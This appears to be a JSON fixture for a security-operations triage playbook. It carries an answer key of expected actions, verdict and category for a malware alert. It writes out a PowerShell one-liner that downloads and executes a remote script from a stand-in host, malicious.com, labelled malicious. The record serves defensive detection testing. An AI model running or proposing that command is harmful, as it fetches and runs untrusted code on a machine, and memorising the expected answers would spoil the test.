{"playbook_version":2,"artifacts":[{"id":"artifact_1","type":"command","value":"powershell.exe -nop -c \"IEX(New-Object Net.WebClient).DownloadString('http://malicious.com/script.ps1')\"","is_critical":true,"osint_result":{"source":"Hybrid Analysis","verdict":"malicious","details":"Command used to download and execute a remote script, typical of malware activity"}},{"id":"artifact_2","type":"url","value":"http://malicious.com/script.ps1","is_critical":true,"osint_result":{"source":"URLScan","verdict":"malicious","details":"URL associated with malware distribution"}}],"expected_actions":["block_ip","isolate_host","collect_forensics"],"expected_verdict":"true_positive","expected_category":"malware","analysis_notes":"The PowerShell command execution is a known technique for downloading and executing malware."}